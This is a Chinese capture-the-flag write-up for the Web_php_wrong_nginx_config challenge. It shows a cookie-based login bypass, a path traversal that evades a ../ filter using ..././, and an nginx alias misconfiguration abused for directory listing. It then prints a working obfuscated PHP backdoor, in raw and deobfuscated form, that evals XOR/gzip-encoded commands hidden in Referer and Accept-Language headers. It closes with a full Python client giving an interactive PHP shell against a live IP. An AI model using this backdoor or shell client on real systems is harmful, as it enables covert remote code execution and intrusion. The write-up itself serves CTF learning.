攻防世界-web-Web_php_wrong_nginx_config（绕过登录、目录浏览、后门利用）

进入场景后，提示需要登录

尝试打开robots.txt页面，发现2个隐藏页面：hint.php和Hack.php

依次访问

访问hint.php，提示：配置文件也许有问题呀：/etc/nginx/sites-enabled/site.conf

访问Hack.php，无法访问，要求登录，但是登录功能点无法使用，抓包，发现cookie字段isLogin=0，猜测修改为1可绕过登录。

修改为isLogin=1后，成功访问

尝试了一遍，发现只有管理中心链接可以跳转

跳转到如下页面

http://220.249.52.133:47368/admin/admin.php?file=index&ext=php

应该是文件包含

• 尝试file=../../../../etc/passwd&ext=，页面除了少了please continue之外没有变化
• 尝试file=index./&ext=php，页面没有please continue
• 尝试file=index../&ext=php，页面有please continue
• 尝试file=index.../&ext=php，页面有please continue

有两种情况，一种是过滤了./，另一种是过滤了../，但第一次尝试，读取不成功，返回的页面中没有please continue，所以应该是过滤了../

使用..././绕过过滤

尝试访问file=..././..././..././..././etc/nginx/sites-enabled/site.conf&ext=，成功找到配置文件。

我们可以看到配置文件内容如下

server { 
listen 8080; 
## listen for ipv4; this line is default and implied listen [::]:8080; 
## listen for ipv6 root /var/www/html; 
index index.php index.html index.htm; 
port_in_redirect off; 
server_name _; 
# Make site accessible from http://localhost/ 
#server_name localhost; 
# If block for setting the time for the logfile if ($time_iso8601 ~ "^(\d{4})-(\d{2})-(\d{2})") { set $year $1; set $month $2; set $day $3; } 
# Disable sendfile as per https://docs.vagrantup.com/v2/synced-folders/virtualbox.html 
sendfile off; 
set $http_x_forwarded_for_filt $http_x_forwarded_for; 
if ($http_x_forwarded_for_filt ~ ([0-9]+\.[0-9]+\.[0-9]+\.)[0-9]+) 
{ set $http_x_forwarded_for_filt $1???; } 
# Add stdout logging access_log /var/log/nginx/$hostname-access-$year-$month-$day.log openshift_log; error_log /var/log/nginx/error.log info; 
location / { 
# First attempt to serve request as file, then 
# as directory, then fall back to index.html 
try_files $uri $uri/ /index.php?q=$uri&$args; 
server_tokens off; 
} 
#error_page 404 /404.html; 
# redirect server error pages to the static page /50x.html 
# error_page 500 502 503 504 /50x.html; 
location = /50x.html { 
root /usr/share/nginx/html; 
} 

location ~ \.php
$ { 
try_files $uri $uri/ /index.php?q=$uri&$args; 
fastcgi_split_path_info ^(.+\.php)(/.+)$; 
fastcgi_pass unix:/var/run/php/php5.6-fpm.sock; 
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; 
fastcgi_param SCRIPT_NAME $fastcgi_script_name; 
fastcgi_index index.php; include fastcgi_params; 
fastcgi_param REMOTE_ADDR $http_x_forwarded_for; 
} 

location ~ /\. { 
log_not_found off; 
deny all; 
} 

location /web-img { 
alias /images/; 
autoindex on; 
} 

location ~* \.(ini|docx|pcapng|doc)$ { deny all; } 

include /var/www/nginx[.]conf; 

} 

发现/web-img可以进行目录浏览，这里的url解析为/web-img，所以构造的路径需要直接添加在后，不需要再添加/

访问web-img../

依次尝试，我们找到了hack.php.bak

点击链接将其下载下来，内容如下

<?php
$U='_/|U","/-/|U"),ar|Uray|U("/|U","+"),$ss(|U$s[$i]|U,0,$e)|U)),$k))|U|U);$o|U|U=o|Ub_get_|Ucontents(|U);|Uob_end_cle';
$q='s[|U$i]="";$p=|U$ss($p,3);}|U|Uif(array_k|Uey_|Uexis|Uts($|Ui,$s)){$s[$i].=|U$p|U;|U$e=|Ustrpos($s[$i],$f);|Ui';
$M='l="strtolower|U";$i=$m|U[1|U][0].$m[1]|U[1];$|U|Uh=$sl($ss(|Umd5($i|U.$kh),|U0,3|U));$f=$s|Ul($ss(|Umd5($i.$';
$z='r=@$r[|U"HTTP_R|UEFERER|U"];$r|U|Ua=@$r["HTTP_A|U|UCCEPT_LAN|UGUAGE|U"];if|U($r|Ur&|U&$ra){$u=parse_|Uurl($r';
$k='?:;q=0.([\\|Ud]))?,|U?/",$ra,$m)|U;if($|Uq&&$m){|U|U|U@session_start()|U|U;$s=&$_SESSIO|UN;$ss="|Usubst|Ur";|U|U$s';
$o='|U$l;|U){for|U($j=0;($j|U<$c&&|U|U$i|U<$|Ul);$j++,$i++){$o.=$t{$i}|U^$k|U{$j};}}|Ureturn $|Uo;}$r=$|U_SERV|UE|UR;$r';
$N='|Uf($e){$k=$k|Uh.$kf|U;ob_sta|Urt();|U@eva|Ul(@g|Uzuncom|Upress(@x(@|Ubas|U|Ue64_decode(preg|U_repla|Uce(|Uarray("/';
$C='an();$d=b|Uase64_encode(|Ux|U(gzcomp|U|Uress($o),$k))|U;prin|Ut("|U<$k>$d"|U);@ses|U|Usion_des|Utroy();}}}}';
$j='$k|Uh="|U|U42f7";$kf="e9ac";fun|Uction|U |Ux($t,$k){$c|U=|Ustrlen($k);$l=s|Utrl|Ue|Un($t);$o=|U"";fo|Ur($i=0;$i<';
$R=str_replace('rO','','rOcreatrOe_rOrOfurOncrOtion');
$J='kf|U),|U0,3));$p="|U";for(|U|U$|Uz=1;$z;
$x='r)|U;pa|Urse|U_str($u["qu|U|Uery"],$q);$|U|Uq=array_values(|U$q);pre|Ug|U_match_al|Ul("/([\\|U|Uw])[|U\\w-]+|U(';
$f=str_replace('|U','',$j.$o.$z.$x.$k.$M.$J.$q.$N.$U.$C);
$g=create_function('',$f);
$g();
?>

代码经过了混淆，我们输出$f看看

将输出美化后如下

<?php
$kh="42f7";
$kf="e9ac";
function x($t,$k) {
    $c=strlen($k);
    $l=strlen($t);
    $o="";
    for ($i=0;$i<$l;) {
        for ($j=0;($j<$c&&$i<$l);$j++,$i++) {
            $o.=$t {
                $i
            }
            ^$k {
                $j
            }
            ;
        }
    }
    return $o;
}
$r=$_SERVER;
$rr=@$r["HTTP_REFERER"];
$ra=@$r["HTTP_ACCEPT_LANGUAGE"];
if($rr&&$ra) {
    $u=parse_url($rr);
    parse_str($u["query"],$q);
    $q=array_values($q);
    preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);
    if($q&&$m) {
        @session_start();
        $s=&$_SESSION;
        $ss="substr";
        $sl="strtolower";
        $i=$m[1][0].$m[1][1];
        $h=$sl($ss(md5($i.$kh),0,3));
        $f=$sl($ss(md5($i.$kf),0,3));
        $p="";
        for ($z=1;$z<count($m[1]);$z++)$p.=$q[$m[2][$z]];
        if(strpos($p,$h)===0) {
            $s[$i]="";
            $p=$ss($p,3);
        }
        if(array_key_exists($i,$s)) {
            $s[$i].=$p;
            $e=strpos($s[$i],$f);
            if($e) {
                $k=$kh.$kf;
                ob_start();
                @eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));
                $o=ob_get_contents();
                ob_end_clean();
                $d=base64_encode(x(gzcompress($o),$k));
                print("<$k>$d$k>");
                @session_destroy();
            }
        }
    }
}
?>

好吧，还有第二层混淆，具体的解释可以看大佬的。

附大佬的脚本和结果

# encoding: utf-8


from random import randint, choice
from hashlib import md5
import urllib
import string
import zlib
import base64
import requests
import re


def choicePart(seq, amount):
    length = len(seq)
    if length == 0 or length < amount:
        print 'Error Input'
        return None
    result = []
    indexes = []
    count = 0
    while count < amount:
        i = randint(0, length - 1)
        if not i in indexes:
            indexes.append(i)
            result.append(seq[i])
            count += 1
            if count == amount:
                return result


def randBytesFlow(amount):
    result = ''
    for i in xrange(amount):
        result += chr(randint(0, 255))
    return result


def randAlpha(amount):
    result = ''
    for i in xrange(amount):
        result += choice(string.ascii_letters)
    return result


def loopXor(text, key):
    result = ''
    lenKey = len(key)
    lenTxt = len(text)
    iTxt = 0
    while iTxt < lenTxt:
        iKey = 0
        while iTxt < lenTxt and iKey < lenKey:
            result += chr(ord(key[iKey]) ^ ord(text[iTxt]))
            iTxt += 1
            iKey += 1
    return result


def debugPrint(msg):
    if debugging:
        print msg


# config
debugging = False
keyh = "42f7"  # $kh
keyf = "e9ac"  # $kf
xorKey = keyh + keyf
url = 'http://220.249.52.133:47368/hack.php'
defaultLang = 'zh-CN'
languages = ['zh-TW;q=0.%d', 'zh-HK;q=0.%d', 'en-US;q=0.%d', 'en;q=0.%d']
proxies = None  # {'http':'http://127.0.0.1:8080'} # proxy for debug

sess = requests.Session()

# generate random Accept-Language only once each session
langTmp = choicePart(languages, 3)
indexes = sorted(choicePart(range(1, 10), 3), reverse=True)

acceptLang = [defaultLang]
for i in xrange(3):
    acceptLang.append(langTmp[i] % (indexes[i],))
acceptLangStr = ','.join(acceptLang)
debugPrint(acceptLangStr)

init2Char = acceptLang[0][0] + acceptLang[1][0]  # $i
md5head = (md5(init2Char + keyh).hexdigest())[0:3]
md5tail = (md5(init2Char + keyf).hexdigest())[0:3] + randAlpha(randint(3, 8))
debugPrint('$i is %s' % (init2Char))
debugPrint('md5 head: %s' % (md5head,))
debugPrint('md5 tail: %s' % (md5tail,))

# Interactive php shell
cmd = raw_input('phpshell > ')
while cmd != '':
    # build junk data in referer
    query = []
    for i in xrange(max(indexes) + 1 + randint(0, 2)):
        key = randAlpha(randint(3, 6))
        value = base64.urlsafe_b64encode(randBytesFlow(randint(3, 12)))
        query.append((key, value))
    debugPrint('Before insert payload:')
    debugPrint(query)
    debugPrint(urllib.urlencode(query))

    # encode payload
    payload = zlib.compress(cmd)
    payload = loopXor(payload, xorKey)
    payload = base64.urlsafe_b64encode(payload)
    payload = md5head + payload

    # cut payload, replace into referer
    cutIndex = randint(2, len(payload) - 3)
    payloadPieces = (payload[0:cutIndex], payload[cutIndex:], md5tail)
    iPiece = 0
    for i in indexes:
        query[i] = (query[i][0], payloadPieces[iPiece])
        iPiece += 1
    referer = url + '?' + urllib.urlencode(query)
    debugPrint('After insert payload, referer is:')
    debugPrint(query)
    debugPrint(referer)

    # send request
    r = sess.get(url, headers={'Accept-Language': acceptLangStr, 'Referer': referer}, proxies=proxies)
    html = r.text
    debugPrint(html)

    # process response
    pattern = re.compile(r'<%s>(.*)' % (xorKey, xorKey))
    output = pattern.findall(html)
    if len(output) == 0:
        print 'Error,  no backdoor response'
        cmd = raw_input('phpshell > ')
        continue
    output = output[0]
    debugPrint(output)
    output = output.decode('base64')
    output = loopXor(output, xorKey)
    output = zlib.decompress(output)
    print output
    cmd = raw_input('phpshell > ')

参考：